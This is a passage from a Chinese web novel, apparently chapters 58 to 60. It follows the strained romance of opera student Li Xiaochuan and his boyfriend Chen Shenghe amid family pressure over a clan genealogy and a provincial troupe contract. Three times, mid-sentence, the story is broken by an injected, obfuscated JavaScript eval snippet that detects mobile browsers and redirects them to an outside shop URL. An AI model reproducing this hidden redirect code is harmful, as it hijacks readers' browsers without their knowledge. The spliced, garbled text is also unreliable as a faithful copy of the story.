李霄川靠在不远处的自动贩卖机旁,冰可乐罐外凝结的水珠顺着他的指节往下滑,在灰色地砖上洇出深色的圆点。 他今天没扎头发,额发凌乱地垂下来遮住眼睛,但嘴角绷紧的弧度暴露了一切,像他表演川剧时勒头的带子,勒得表情都变了形。 “普通同学?” 气泡在铝罐里碎裂的声音像在嘲笑。 陈声和僵在原地,看着那人喉结滚动着灌下大半罐可乐,喉间发出轻微的吞咽声,然后抬手一抹嘴。 这个总是替他擦去嘴角食物残渣的动作,此刻有些过于粗暴,手背上还沾着下午练功时蹭到的油彩。 “你爸那天……”电话那头母亲还在继续说。 “听到了。”李霄川把空罐捏瘪,咣当扔进垃圾桶,“从结婚那里开始。” 飞蛾到底还是撞开了灯罩,一片翅膀轻飘飘地掉在两人之间的地上,灰扑扑的粉在灯底下闪着,碎碎的。 李霄川几步就跨了过来。一身练功房的松木香带着汗水的咸,在这窄窄的宿舍走廊里裹成一张挣不开的网。 “你每次说谎的时候……”他伸手捻起陈声和脖子上那绺被汗粘住的头发,手指擦过那个新鲜的吻痕,“眼睫毛会抖得很凶。” 他的拇指按在陈声和突突跳动的颈动脉上,力道刚好卡在疼痛与安抚之间 母亲的电话还没挂断。听筒那头,祠堂的钟声悠悠传过来,整点了,该续香了。 背景里还有阿嬷摇签筒的哗啦声,竹签撞在一起,就像去年冬至在文殊院听到的那样。 …… 夜里有点凉,路灯把雨后湿漉漉的地面照得发亮。 陈声和跟在李霄川身后几步远的地方,眼睛盯着他后颈上没干的汗迹。 那人练功服的领口湿透了,布料贴着背,隐隐透出底下肌肉的轮廓,随着走路一下一下地动。 刚才他在走廊上那句“普通同学”,像根红线,卡在两人之间这沉默里,拔不出来。 陈声和低头看着地上他们俩的影子,一长一短,时而叠在一起,时而又分开。 李霄川突然停住脚,陈声和差点一头撞上他后背。他肩胛骨的形状从薄薄的练功服下面透出来,像一对快要张开的翅膀。 “饿了。”他没回头,声音比成都夜里的风还凉,“吃烧烤去。” 不是问他意见,就只是告诉他。 陈声和懂,这是他生气的样子。 李霄川越火大,口气就越淡。像川剧变脸,笑呵呵的面具底下,早就换了一张冷脸。 “……好。” 他们一前一后走进校门外那家王嬢烧烤,塑料棚顶还在滴水。 老板娘认得他们,老远就招呼:“小李!今天带广广同学吃点啥子?”她围裙上沾着油渍,手里铁夹子碰得烤架叮当响。 李霄川故意用方言高声应:“来二十串五花肉,多放海椒面!”他拽开塑料椅坐下,铁腿在地面刮出刺耳的声响,“我请客。” 陈声和抿着嘴坐在他对面,塑料桌布上的油渍已经凝固成地图状的斑块,他抽了几张纸默默擦着。 他知道广广这个绰号怎么来的,大一社团聚餐,他被半串微辣烤韭菜呛出眼泪,李霄川一边笑他“广东仔吃不得辣”,一边递来冰豆奶。 从此就成了四川同学嘴里的广广小可怜。 那人当时笑得眼睛弯成月牙,虎牙尖抵着下唇,和现在判若两人。 老板娘端来一碟油汪汪的烤茄子,表层铺满红艳艳的辣椒末。 李霄川推到他面前,树枝碟在桌面上划出短促的声响:“尝尝,特制广东辣。” 陈声和盯着那片猩红。他知道所谓广东辣是李霄川的恶作剧,肯定掺了花椒面。 上次他误食后嘴唇麻了半小时,李霄川一边用冰镇可乐给他敷嘴,一边笑得肩膀直抖,T恤领口滑下来露出锁骨上自己咬的牙印。 可现在那人的眼睛里没有笑意,只有烤架上飘起的油烟在瞳仁里扭曲。 “你生气了。”陈声和没动筷子。 “我哪敢啊?”李霄川掰开一次性筷子,他的动作太凶,木刺扎进虎口渗出了血珠,“毕竟只是普通同学。” 隔壁桌突然爆发出哄笑。四个大学生在玩酒令,倒下的啤酒瓶正指着他们这桌。一个穿Moncler的男生醉醺醺地招手:“那边两个帅哥,来拼个桌嘛!” 李霄川头都没抬,声音听着让人发冷:“滚。” 笑声戛然而止。 陈声和看见他虎口渗出的血珠正沿着筷子往下滑,抓住他手腕:“你手流血了。” “死不了。”李霄川甩开他的手,竹筷折断在油腻的桌面上。 烤架上的肥肠滋滋冒油,响得正欢。 老板娘又端过来两串苕皮和豆皮,顺口念叨:“一串放辣,一串不辣,记着呢。” “你知道省剧团为啥看上我吗?”李霄川拿着那根染了血的断筷子,有一下没一下地戳着烤烂的茄子,“团长说我这人,够独。” 他捏着嗓子,学起中年男人的口吻:“爹妈都没了更好噻,无牵无挂,才能成角儿!” 旁边那桌传来叽叽咕咕的笑声,刚才那个穿Moncler的男生猛地拔高嗓门,四川话甩得响亮:“两个男的拉拉扯扯,恶不恶心嘛?要不我出钱,给你们开个房要不要得?!” 一桌人顿时哄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005898|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑起来。老板娘剜了他们一眼。 李霄川想都没想,抄起桌上的辣椒罐就砸过去。玻璃渣掺着辣椒面在那人脚边炸开一片红。 “老子就恶心你,咋子嘛?”他唰地站起来,187的个子带着戏台上的功底,压迫感瞬间压满了这小小一方夜市,“要不要去后巷摆一哈龙门阵?” 对面那几个人一下子全都站了起来,气势汹汹地往这边逼。 这时候,陈声和猛地一把将手里那串烤五花肉摁进辣油碟里,红油溅上他胸口。他霍然起身,塑料椅子哐当一声砸在地上。 老板娘赶紧小跑过来,往他们桌上“咣”地撂下一瓶空的江小白:“要打出去打!莫耽误老娘做生意!” 她围裙上还沾着鱼腥味,凑近了压低声音:“你两个人打得过人家一群迈?快走嘛!” “李霄川。”陈声和声音发紧,喉咙像被什么堵住了,“我们能不能别……” “别什么?别在公共场合发疯?”李霄川猛地凑到他面前,呼吸里带着啤酒和辣椒的呛,“陈少爷,你们潮汕人讲体面,我们四川娃儿,只图个痛快。” 他伸手,手指抹过陈声和衣襟上那片油渍:“衣服脏了,可以洗。人要是活得憋屈了……” “会死。” 最后两个字轻得像是喘不过气,搅和着旁边“冰粉~凉糕~”的叫卖声。 陈声和扭头就走。 夜风呼呼地灌进他的衬衫外套,背后传来李霄川的喊声,被烧烤摊浓重的油烟搅得支离破碎:“陈声和!” 他走着走着,在校门口那棵老梧桐树下停住了脚。 树影底下,停着那辆褪了色的蛋烘糕小推车,卖了大半辈子的王老头正慢吞吞地收拾着家伙什。 这是他们最爱来的摊子。奶油肉松馅儿,每回李霄川都特意嘱咐:“老板,莫放花椒哈。” 然后转脸就冲陈声和笑,带着点狡黠:“晓得你个广东仔吃不得麻。” 陈声和那会儿还纳闷,问过:“蛋烘糕为啥要放花椒?” 李霄川把烤得金黄喷香的糕递给他,眼里漾着笑:“我们这儿,花椒是灵魂噻。不过算了,将就你,下回再说。” 脚步声重重地碾过地上的落叶,由远及近。 李霄川一把拽过他胳膊,掌心烫得吓人:“你他爹就这点能耐?” “不然呢?”陈声和声音发颤,梧桐叶的影子在他脸上摇晃,“让我当着所有人说这是我男朋友?看着你和那群人打架?” 李霄川的手突然松了力道,指节上的伤口又渗出血来。 卖蛋烘糕的老头推着车从他们身边经过,生锈的车铃在夜色里异常清晰。 李霄川突然伸手:“要个奶油馅的。” “收摊喽。”老头瞥见他流血的手,“你手在流血,要包一哈。” “用不着。”李霄川甩甩手,血滴在水泥地上,很快被灰尘裹住,“练武生的谁身上没二两血。” 陈声和一把扯过他的手腕,从兜里掏出湿巾按在伤口上。湿巾是柠檬味的,和李霄川以前总放在戏服口袋里的同款。 李霄川任由他动作,轻声说:“你知道我为什么能成变脸师父的关门弟子吗?” 湿巾很快被血浸透,柠檬香混进了铁锈味。 “因为别的学徒怕疼,不敢让热脸谱贴着眼皮练。”他猛地抽回手,创可贴的包装纸掉在地上,“我不怕,反正没人……” 后半句消散在夜风里,夜市飘来的辣椒味突然变得刺鼻。 陈声和眼眶发烫,想起大一那年冬天,李霄川在练功房教他云手。 自己没站稳摔进旁边的道具箱里,那人冲过来的眼神慌得像是天塌了,连戏服水袖勾倒了道具架都顾不上。 而现在,那双总是含着笑的眼睛里,只剩被劣质白酒吞噬的冷漠。 58.我写了个‘呸\’! 周日清晨,他正在公寓往行李箱里叠衣服,门锁一响,李霄川拎着早餐推门进来,带进一身晨露的湿气。 “真要走?”李霄川把塑料袋放在茶几上,热粥的雾气立刻在玻璃面上晕开一圈白雾。 他掏出手机划了几下,“我查过了,潮汕高铁站到你们村还得转两趟公交,末班车六点半就没了。” 陈声和含糊地应了一声,揭开塑料盖。是皮蛋瘦肉粥,米粒熬得绵软,浮着细细的姜丝。 不是家里那种米粒分明,要配菜脯蛋吃的砂锅粥。 李霄川看着他拿勺子的手,懊恼地抓了抓后脑勺:“跑遍三条街都没找到卖潮汕粥的……你将就着吃。” “挺好的。”陈声和低头搅了搅,米汤裹着皮蛋碎在勺间流转。 确实挺好,至少他记得自己不爱吃葱,愿意每天大清早跑出去给自己买一碗粥。 李霄川的眼神温柔地包裹住对方,像一片宁静的港湾,突然说:“要不我陪你去吧?” “不行。”陈声和猛地抬头,勺子当啷磕在碗沿。 窗外传来楼下早点摊的吆喝声,显得屋里更静了。 李霄川慢慢直起身,嘴角绷成一条直线:“怕你爸看见我?” “……不是。”陈声和盯着粥里沉浮的肉沫。 “那为什么?”李霄川知道为什么,却心里依旧固执地想要听一个答案。 陈声和攥着勺子的手指节发白。他没法告诉李霄川,父亲上次离开成都前,曾单独找过他,只说了一句话:“我们陈家就你一个儿子,你别让祖宗蒙羞。” “给我点时间,”勺子柄硌得掌心发疼。他听见自己干巴巴的声音,“我会和家里说清楚的。” 李霄川很久没说话。 空气都快凝固了的时候,陈声和忽然觉得后颈一热。那只带着常年练功茧子的手落在他绷紧的肌肉上,轻轻揉了揉。 “行,我等你。” 傍晚的高铁车厢轻轻晃着,手机在手心里震了一下。 是李霄川发来的信息,一只橘猫大爷似的蹲在他们宿舍楼下的台阶上,面前摆着个碗,里面是潮汕牛肉丸,汤面上还飘着几粒芹菜。 这家伙,肯定是特意跑去大学城那家潮汕小吃店买的。 配文就一行字:【捡到只大爷猫,挑食得很,非这家店的丸子不吃。你回来前我替你伺候着】 陈声和把照片放大又缩小,手指在那只猫脏兮兮的毛上蹭了蹭。对话框里的字打了又删,最后只回了一个“好”字。 窗外,夕阳正把铁轨一点点镀成金色,一路烧向看不见的远方。 陈声和回家的这一周,李霄川每天都在公寓里捣鼓两件事:学泡潮汕功夫茶,学熬粥。 这一周,他的公寓总是飘着茶香。茶几上摆着从网上淘来的茶具,冰箱上贴着手写笔记:“凤凰单丛,95度水,高冲低斟……” 手上烫出两个水泡了,还是没学会“关公巡城”那手绝活。 灶台上的砂锅咕嘟咕嘟响,第n次尝试的粥又糊底了。他一边铲着焦黑的锅巴一边想,下次得记住,米得提前泡够三小时。 这些事儿说起来都不大,可他偏偏就愿意一遍遍地试,失败了就重来,反反复复,乐此不疲。 …… 省川剧团的选拔公告在社团走廊那儿贴了整整一礼拜,每天来来去去都能看见。 陈声和回来之后,每天去剪辑室都得经过那张A4纸。 李霄川那三个字被人用红笔狠狠圈了出来,旁边还画了个歪歪扭扭的五角星,潦草地写着“重点考察对象”。 今天轮到他负责录选拔视频。推开后台那扇吱呀响的铁门,熟悉的散粉甜味掺着发胶的化学味儿就冲了过来。 他架好三脚架,镜头正对着化妆镜前正在勒头的李霄川。 学姐嘴里咬着发绳,手里拿着三指宽的绸带,一层一层往他额头上缠。 陈声和从取景框里看着那张熟悉的脸慢慢变形,眉骨被提得很高,眼角也扯得发红。 “疼不疼?”陈声和一边问,手指一边按下了录制键。 镜子里李霄川抬眼瞥了他一下,喉咙动了动,没出声。 陈声和回来没给他说,自个儿坐车回到了公寓,才给李霄川发了条信息说回来了。 他知道李霄川在生气,不止这么一件事情。 学姐利落地打了个结,笑着说:“咱们武生这行,谁不是勒着头唱戏的?上次演《长坂坡》,勒得太紧,霄川中场直接在台上吐了,观众还以为是剧情需要呢!” 陈声和低头调焦距,听见李霄川突然开口:“省团的人下午到。” “我知道,”他抠着存储卡边上的凹槽,“张远说团长特别喜欢你演的《夜奔》。” “嗯,”李霄川拿起剃刀修假鬓角,刀片擦过耳朵,留下一道红印,“团长问我有没有什么不良关系。” 摄像机猛地一晃。陈声和抬头时,从取景框里看见李霄川正用拇指抹掉耳后的血珠。 “你怎么说的?”他听见自己的声音有点干。 李霄川没吭声。一直到学姐化完妆出去,他才转过身,织锦缎的宽袖子扫过摄像机。 那沉水香掺着汗味的压迫感靠过来时,陈声和才注意到他画了全妆的眼睛红得吓人。 “我说……” “小李!服装间要拍定妆照了!”川剧院的副团长推门进来,工作证在胸前晃荡,“这位是?” “社团的摄影师。”李霄川挡在陈声和前面,袖口下的手却往后探,手指擦过他手腕内侧那个旧烫疤。 副团长打量了一下陈声和的设备:“佳能C200,搞得挺专业啊。” 话到这儿就断了。 但定妆照拍到第三套的时候,出了点岔子。 李霄川换上一身雪白靠甲,头盔上的绒球随着他动作轻轻晃。 陈声和蹲在地上调反光板的角度,隔壁化妆间传来团长洪亮的声音:“现在有些年轻人啊,台上演的是忠孝节义,台下尽搞些乌七八糟的……” 反光板“哐当”一声倒在地上。 这声响在嘈杂的后台里也显得格外响亮,几乎能感觉到隔壁的谈笑声顿了一瞬。 李霄川的目光猛地从镜子里钉在陈声和苍白的脸上。 还没等他反应过来,李霄川就一把拽起他,撞进了更衣室,接着老式插销被锁上了。 逼仄的空间里,铠甲冰冷的金属片硌得陈声和生疼。 李霄川压低的声音带着颤:“你手抖什么?” “我没……” “从进门到现在,你镜头一直跟着我转。”温热的呼吸喷在耳后,“副团长盯你三次了。” 陈声和去摸门把手想出去,却被靠甲下摆绊倒,整个人栽进戏服架。一叠牛皮纸包着的脸谱哗啦啦散开,最上面那张青蛇脸谱露出半截。 是去年校庆演《白蛇传》时用过的,那天他负责追光,故意让光柱追着许仙跑了一整场。 脚步声由远及近。 李霄川抬手扯开靠甲的丝绦,沉重的铠甲砸在地上发出闷响。他抓起青蛇脸谱扣在陈声和脸上,这时候的用的东西都不咋地,粗粝的纸边刮得皮肤生疼。 视线被遮挡的黑暗里,陈声和听见布料撕裂声,李霄川把戏服领口也撕开一道,露出锁骨下方的抓痕。 新鲜的,发着瘀紫,回来那晚在出租屋的床上,他抓着这里哭出了声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005899|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “省团要查就查这个。”李霄川抓着他的手按上去,陈声和的手指陷进凹凸不平的疤痕里,“够不够不良?” 陈声和回答不出来,他不想让这人离开,又不敢说实话。就这样自我折磨着,李霄川拿他一点办法没有。 …… 选拔结束已经接近深夜十一点了。 陈声和在空荡荡的化妆间收拾器材,三脚架折叠时发出轻响。 镜前灯还亮着,照见李霄川的假发套孤零零挂在架子上,鬓角处的胶水没卸干净,黏着几缕真发。 他鬼使神差地摸进发套内衬,本想整理一下,指腹却触到个硬物,拿出来一看,是半片被剪断的银镯子,断口参差,像是被人硬生生掰开的。 这是去年生日时李霄川送的,潮汕童镯样式,内侧錾着“平安顺遂”。 后来吵架时他摘下来扔回去,银镯在木地板上弹了两下,当时李霄川弯腰去捡的背影他记到现在。 真是个疯子,把这东西放在头套里,也不怕出意外! 门突然被踹开,铰链发出不堪重负的呻吟。 李霄川带着一身酒气撞进来,妆都没卸,红白油彩被汗水晕开,在领口洇出斑驳的粉色。 他盯着陈声和手里的镯子,冷笑了一声:“翻我东西?”睫毛上还沾着舞台用的金粉,随呼吸轻微颤动。 “你明明可以进省团的。”陈声和嗓子发紧,化妆镜的补光灯烤得他后颈发烫,“只要面试时别那么冲……” “冲?” 李霄川一把扫落化妆台上的瓶罐,定妆粉泼洒成一片白雾。玻璃砸在地上的脆响里,他声音劈了叉:“他们让我写保证书!白纸黑字要老子保证私生活端正!” 陈声和一抬眼,就看见他右手虎口在流血,不知道在哪儿磕的,深红色的血珠正顺着掌纹往下淌。 他转身要去够柜顶的医药箱,却被李霄川反手一把按在镜子上。 “你爸昨天给我打电话了。” 就这一句,陈声和全身的血好像瞬间冻住了。 李霄川凑近他耳根,酒气混淆着血腥味一块儿扑过来:“他说,只要我离开他儿子,就帮我争取去北京的名额。” 陈声和猛地挣扎起来,胳膊肘狠狠撞上身后的镜框。“哐当”一声,裂缝炸开,镜子里两个人的脸碎成了无数片。 “你怎么回他的?”他声音抖得不像话,像琴弦快要断掉之前那种颤音。 李霄川没答,从戏服暗袋里摸出张皱巴巴的纸,拍在化妆台上,是那张被撕碎又拼凑起来的保证书。 “我写了个‘呸’。” 答非所问。 陈声和蹲下去捡,手指刚碰上,就被划了道口子。 李霄川盯着那滴冒出来的血珠,像突然醒了过来,抓起医药箱往地上一扔,纱布和酒精棉滚得到处都是。 “别捡了,”他嗓子哑得厉害,喉结滚了滚,“等会儿阿姨都要扫走的。” 陈声和没理他,继续一片一片地捡。锋利的碎片在他掌心越积越多,像捧着一堆变形了的灯。 李霄川的戏靴就停在他眼前,靴尖沾着舞台用的金粉,在灯光下微微发亮。 上周他亲手替李霄川擦过的,当时棉签还蘸了酒精,一点一点清理皮靴褶皱里的金漆。 “镯子……”陈声和低声问,玻璃边缘陷进掌心里,“为什么还留着?” 李霄川一脚踢开旁边的碎粉盒,金属盖子叮叮当当滚远:“……你管我?” 门外传来趿拉拖鞋的声响,是保洁阿姨拎着水桶来清场了。李霄川一把拽起陈声和,把人推进更衣室,就像半小时前在后台走廊那样。 但这次他关上门就走了,没跟进来。 59.你连假装挽留都不会? 陈声和站在黑暗里,掌心还攥着那半片银镯子,断口处的锐角正死死抵着他的生命线。 更衣室里挂着李霄川换下来的练功服,樟脑丸的味道里还有淡淡的跌打药酒气。 他红着眼眶靠上去,摸到右袖口有一块硬结,是去年自己不小心扯坏了他袖扣,后来买了个熊猫贴布给他缝上的。 当时李霄川对着镜子左照右照,笑着说:“别撕,挺好看的。” 原来他们都留着些不该留的东西。 等他出来,李霄川人已经没影了。 通往宿舍的路灯坏了两盏,陈声和踩着自己忽长忽短的影子准备往前走。等那人来找自己再一起回公寓。 手机在裤兜里震了一下,声音被棉布闷掉大半,掏出来的时候,屏幕还沾着掌心里未干的汗。 李霄川的微信悬在通知栏:【脸谱落化妆间了】 连标点都没有,像随手撂下的半句话。 陈声和叹了口气,只能转身往回走。 后台门已经锁了。他凑近起雾的玻璃窗往里看,化妆台上乱糟糟的,几支用秃了的勾脸笔,胭脂盒也没盖,哪有什么脸谱的影子。 出来后正准备给李霄川打电话,忽然听见打火机齿轮摩擦的脆响。抬眼望去,李霄川靠在树边上抽烟,那点火星随着他的呼吸一闪一闪的。 “骗你的。” “就想看看你会不会回来。” 陈声和站在几步外没动:“省团那事……” “黄了。”李霄川把烟按熄在树干上,烫出一小块黑印,“团长刚发的消息,说有人匿名举报我作风有问题。” 树影底下看不清他的表情,只听见他轻轻笑了一声,像呵了口气。 陈声和突然冲过去揪住他的衣领。排练服质量差,扣子崩了一颗,咕噜噜滚进下水道里找不着了。 “你笑什么!”他声音发紧。 李霄川任他拽着,眼睛直直看过来:“举报人的电话尾号……是1234。” 陈声和手一松……这个刻意凑整的尾数,像把电钻直往他肋骨缝里捅,再结合那会儿李霄川不回答的问题,他便知道了。 回到公寓已经很晚了。老小区的楼道灯坏了,陈声和摸黑捅了好几次钥匙才把门打开。 一进门就踢到玄关的快递箱,是他上周给李霄川买的护手霜,到现在都没拆。 他在客厅翻出碘伏进了卧室,李霄川却把手藏到背后:“小伤,没事。” “右手伤了怎么勾脸?” “不勾了。”李霄川往后一倒,陷进吱呀作响的床垫里,“反正也没人看。” 台灯旋钮有点接触不良,陈声和扶着灯头,让那圈昏黄的光稳住。 他踢了李霄川小腿一下,那人这才摊开手掌。关节上的血痂边缘已经翘起来了,掌纹里还嵌着些碎纸屑。 大概是下午撕保证书太急,纸纤维扎进了皮肉里,李霄川糙惯了,根本不注意。 碘伏棉签碰到最深的那道伤口时,李霄川突然开口:“要是当初你没在招新摊遇见我,现在会在干嘛?” 陈声和盯着他掌心的生命线。那道练关刀留下的疤已经发白了。去年缝针的时候,这人还举着血淋淋的手笑:“正好给月老红线腾位置。” “可能……”他拆了支新棉签,“在拍学生会宣传片吧。” 李霄川笑起来,胸腔的震动顺着棉签传到手指:“那我还是赚了。” 窗外有电动车碾过减速带,车筐里的啤酒瓶哐当乱响。 陈声和系好纱布结抬头,发现李霄川已经睡着了,左手还松松地圈着他的手腕,体温透过薄薄的胶带渗进来。 他轻轻把手抽出来,把带回来的那半只银镯子,又塞回了李霄川的枕头底下。 …… 次日是周末,李霄川已经算毕业了,只是因为比赛的事情一直逗留在学校里。 陈声和去超市买生活用品,提着塑料袋回到公寓时,发现门口堆着个新的快递纸箱。 他蹲在玄关处拆快递,纸箱边缘的胶带缠得死紧,指甲抠了几下发红,才撕开一道口子。 箱子里整齐码着阿妈寄来的潮汕老香黄,玻璃罐上还贴着老家杂货店的价签。最上面压着一叠红纸金字的族谱修订通知,钢笔在陈声和三个字上画了粗重的圆圈,一看就是大伯的字。 方格线压着姓氏的笔画,像祠堂里那些提前刻好生卒年的碑文 厨房传来“咚、咚”的闷响。 李霄川今天下午也没去剧团练功,从菜市场回来就闷头剁那块带筋猪腿骨。砧板被震得移位,撞得调料架上瓶瓶罐罐叮当作响。 “要不要帮忙?”陈声和朝厨房方向提高声音。 剁刀声戛然而止,李霄川拎着刀出现在厨房门口,围裙溅上暗红血渍,小臂青筋还保持着发力的状态:“你会用砍骨刀?” “不会。”陈声和答得干脆,手指摩挲着族谱通知的鎏金边。 “……那你能帮什么?” “……” 陈声和只好低头继续翻检纸箱,摸到香黄罐底下压着的照片,祠堂翻修效果图上,他名字该在的位置已经预留好凹槽,比别人的深几分。 “幺儿,天气预报说下雨,你把衣服收一下哈。”厨房里,李霄川的声音掺着水流声传来。 “哦~”陈声和应着,手下慌乱地将那些零碎物件全部塞回纸箱,最后用力将它推进了玄关柜的最底层。 李霄川擦着手走出来时,就见陈声和抱着一摞衣服,在渐暗的天光里望着窗外发愣。 他的目光在那单薄的背影上停留片刻,又扫过那个已被妥善藏起的纸箱,喉结轻轻一滚,到底还是把到了嘴边的话咽了回去。 他放轻脚步走过去:“在想什么?够不着衣叉吗?” 陈声和肩头微颤,像是被惊醒了:“……嗯,那个太高了。” 李霄川没再追问,沉默地伸手取下高处剩余的衣物,又自然地将陈声和怀里的也接过来。 “晚上带你去九眼桥逛逛?” 陈声和亦步亦趋地跟着他走进卧室,兴致不高:“不想出门……在家看部电影吧。” “行啊。”李霄川仔细地把衣服一件件挂进衣柜,转身就对上陈声和坐在床边直直望着自己的目光。 他心头一软,眼角弯起温柔的弧度,“想看什么?” 陈声和没有回答,只是默默地向他伸出双臂。 李霄川从善如流地俯身,半蹲下来,恰到好处地让他搂住自己的脖颈。 “阿川……”怀里传来闷闷的呼唤,带着潮热的气息熨帖在皮肤上。 “嗯?”李霄川揉了揉他柔软的发顶,声音放得很轻,“累了就躺会儿,饭好了我叫你。” 陈声和收紧了手臂,轻声要求:“你陪我。” 俩人躺在床上都沉默着,没过多久,陈声和就累的睡了。 也不是学习累,是压力太大了。 李霄川趴在床上枕着自己胳膊看了他很久,久到眼眶都红了,他才猛地起身出去,轻轻关上了卧室门。 …… 等陈声和再次醒来时,满屋子都飘着火锅的香味。他洗了个脸出来,餐桌上鸳鸯锅正咕嘟冒泡,清汤那边是猪骨汤,鲜的很。 他咂咂嘴,却一口也喝不上。 李霄川早就不许他碰任何肉汤了,说他胃不好,嫌汤太油腻。硬是这么霸道地,把他这个广东人打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005900|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小喝汤的习惯给拧了过来。 吃到中途,李霄川把一纸合同甩在辣锅旁,油星溅在甲方签名栏上,烫出个半透明的黄点。 这是省院一个小时前才寄来的正式入团合同,白纸黑字,写满了李霄川入团后的待遇、职责和荣耀。 昨天下午,当落选名单上写着“李霄川”三个字时,陈声和就知道,省团绝不可能真的放弃他。 也不是一个投诉电话就能把他的努力给抹去的。 倒不是他陈声和盲目吹捧男朋友,李霄川的戏,是能让人忘了呼吸的。 他那份融在骨血里的天赋,加上自虐的刻苦,注定了他就是未来几十年里都无人能超越的角儿,注定要成为这一代川剧的顶梁柱,是非遗名录上活生生的魂。 省团那些老前辈,只要眼睛不瞎,怎么可能放过这样一颗蒙尘的明珠? 可现在,这份象征着他艺术生命起点的合同,却带着一块污点油渍,被随意地扔在杯盘狼藉之间。 “五年。”他夹起毛肚在翻滚的红汤里涮,辣味呛得眼角发红,“违约金这个数。” 陈声和盯着他的手指,这个数足够买下他们幻想过的一个工作室了。他把牛肉丸一颗颗拨进清汤锅,丸子在奶白汤底沉浮。 “……一定要去北京?” “嗯,交流演出半年。”李霄川的筷子尖戳破毛肚,露出蜂窝状的气孔,“团长说,个人问题处理好的话……” 后半句混合着花椒碎咽了下去。 火锅蒸腾的雾气在两人之间结成屏障。陈声和腕上的茶疤有些发痒。 他想起父亲那通时隔很久的信息:【族谱上不能留个变态】 见他依旧沉默着不说话,李霄川起身踢开椅子走到客厅,一把掀翻陈声和隐藏起来的纸箱。 族谱通知雪花般散落,有几张飘进火锅升腾的热气里。 “所以这是最后通牒?”他手指挑起一张被香黄染了的纸,“年底前回去刻上名字,刻上去就再也刮不掉了是吧?” 陈声和伸手去抢,桌角磕到腕骨。不疼,但留了道白印,和茶疤叠在一起,像两道平行的判决书。 “我爸上次回去就心绞痛……” “那你呢?!”李霄川一脚踹翻箱子,香黄罐滚出来,蜜饯撒了一地,有几颗滚了茶几底下,“你的心是石头做的?不会痛?” 他的声音在最后突然劈了叉,像是唱高音时破了嗓,几个小时前俩人微妙的气氛终于被戳破了。 窗外的天色暗了下来,远处传来闷雷声,像楼上老太太推着空铁桶接水浇花。 陈声和蹲下去捡蜜饯,这是潮汕人嫁娶时才用的款式,应该是阿妈特意挑的。 李霄川从卧室拖出行李箱,滑轮在地板上刮出刺耳的声响。戏服一件件砸进去,水袖缠着腰带,像一团理不清的乱麻。 “我明天就去签合同。”他的声音像是从牙缝里挤出来的。 “……好。”陈声和把族谱通知对折两次,折痕压住自己名字的最后一笔。 纸边割得指腹发红,他想起小时候阿公教他折元宝,说要让祖先看得清楚。 然而现在,他什么都不想看清。 行李箱拉链卡住了。李霄川猛地一扯,拉链头崩飞出去,在墙上撞出个白点,又弹到地板上转了两圈。 “你连假装挽留都不会?”他喘着粗气问,胸口剧烈起伏着。 陈声和的裤袋里还装着一个迷你版的变脸脸谱,是今早李霄川塞给他的,说是新做的道具。 他手指触到背面凹凸的刻痕,不用看也知道是“乖乖”两个字。 李霄川总这么叫他,床上幺儿,床下乖乖,说这两个字用四川话念起来最亲。 60.那你至少挣扎一下啊! “北京……干燥。”他嗓子发紧,像是有人在那里系了根麻绳,“你记得带加湿器。” 李霄川嗤笑一声,笑得弯下腰去。等他直起身时,眼眶红得像抹了胭脂:“陈声和,你真是潮汕人里最会泡茶的。” “什么?” “永远温吞水,永远烫不烂嘴。”他扯了扯嘴角,却没能成功挤出一个笑。 第一滴雨很快砸在窗玻璃上,族谱通知的“陈”字被飘进来的雨丝晕开,像被眼泪打湿的墨迹。 “那你要我怎么办!”陈声和猛地站起来,他踢了一脚箱子,箱子在地面上刮出刺耳的声音,“看着他进ICU?看着我阿妈跪在祠堂哭?” 他的潮汕口音冒了出来,把哭字念得像一声呜咽,尾音拖得长长的。 陈声和的情绪一出来,李霄川便突然平静了下来。 他这辈子最受不了两件事:一是看陈声和哭,二是看陈声和为难。 他多想任性一次,可站在对面的不是什么仇人,是广东仔的爸妈。 李霄川垂下眼,慢慢把那张录取通知对折,再对折。指甲在折痕上来回刮了几遍,直到它变成个又小又硬的方块,硌在掌心里。 可就这么放弃了,他不甘心啊。 “所以呢?”他的声音开始发抖,“所以你就准备回去结婚?继承你家那个破厂?每天喝工夫茶装乖儿子?” “……别逼我了。”陈声和哽咽着,泪水不断涌出来,“阿川,你给我点时间……” 李霄川猛地转身不看陈声和,望向窗外。雨滴在玻璃上蜿蜒而下,像是无数条透明的蚯蚓。 “都在说,那种家庭出来的孩子,迟早要回去的。”他的声音轻得像在自言自语,又像是说给雨听。 “我知道,”李霄川轻轻笑了一声,笑声很快被雨声吞没,“我不逼你。” 